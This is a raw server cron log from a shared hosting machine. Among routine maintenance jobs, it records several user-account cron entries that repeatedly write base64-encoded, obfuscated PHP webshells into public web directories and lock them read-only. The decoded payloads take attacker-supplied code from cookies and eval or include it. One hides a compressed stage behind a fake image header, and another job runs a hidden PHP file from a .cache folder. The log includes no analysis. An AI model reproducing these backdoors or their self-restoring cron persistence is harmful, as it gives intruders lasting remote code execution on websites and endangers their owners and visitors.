Mar  2 07:03:01 medusa CROND[22506]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:03:01 medusa CROND[22507]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:04:02 medusa CROND[4778]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:04:02 medusa CROND[4779]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:04:02 medusa CROND[4780]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:04:02 medusa CROND[4781]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:04:02 medusa CROND[4783]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:04:02 medusa CROND[4792]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:04:02 medusa CROND[4804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:04:02 medusa CROND[4805]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:04:02 medusa CROND[4807]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:04:02 medusa CROND[4816]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:04:02 medusa CROND[4820]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:04:02 medusa CROND[4812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:04:02 medusa CROND[4822]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:05:01 medusa CROND[21112]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:05:01 medusa CROND[21140]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:05:01 medusa CROND[21217]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:05:01 medusa CROND[21337]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:05:01 medusa CROND[21336]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:05:01 medusa CROND[21339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:05:01 medusa CROND[21341]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:05:01 medusa CROND[21335]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 07:05:01 medusa CROND[21342]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:05:01 medusa CROND[21338]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:05:01 medusa CROND[21346]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:05:01 medusa CROND[21350]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:05:01 medusa CROND[21353]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:05:01 medusa CROND[21344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:05:01 medusa CROND[21359]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:05:01 medusa CROND[21362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:05:01 medusa CROND[21343]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:05:01 medusa CROND[21367]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:05:01 medusa CROND[21368]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:05:01 medusa CROND[21348]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
